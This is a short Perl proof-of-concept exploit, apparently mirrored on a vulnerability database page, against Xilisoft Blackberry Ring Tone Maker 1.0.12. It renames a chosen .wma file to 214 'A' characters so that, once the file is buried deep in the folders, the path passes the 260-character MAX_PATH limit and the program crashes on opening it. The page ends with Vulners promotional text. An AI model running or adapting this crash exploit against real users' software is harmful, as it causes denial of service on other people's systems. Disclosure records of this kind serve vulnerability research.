#!/usr/bin/perl
# Exploit Title: Xilisoft Blackberry Ring Tone Maker .wma Local Crash
# Date: March 29, 2010
# Software Link: [http://www.xilisoft.com/blackberry-ringtone-maker.html]
# Version: 1.0.12 build-0326
# Tested on: Windows XP SP3 / Windows 7
# Cost: 9.95 USD
# Author: [anonymous]
# Site: http://www.setfreesecurity.com
#
# Xilisoft Blackberry Ring Tone Maker software crashes when you open a legit .wma file that
# is beyond the maximum length for a path. [MAX_PATH, which is defined as 260 characters]
# Reference: [http://msdn.microsoft.com/en-us/library/aa365247%28VS.85%29.aspx#maxpath]
#
# To exploit: Run the code to change a legit .wma file and then make sure that the file
# is placed on the Windows OS deep enough to open pass the 260 "MAX PATH
#
#Ex: C:\Documents and Settings\victim\Desktop\name_of_file.wma
#
# Pull your sickness from my throat, Let me breath the truth
# Greetz: GOD, The wife for support, 4lex, & C.I.A
#
print "Name That Song! ";
chomp ($song = <STDIN>);
$junk = "\x41" x 214;
rename ("$song.wma", "$junk.wma");
print "Bury deep! \n";
exit;
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation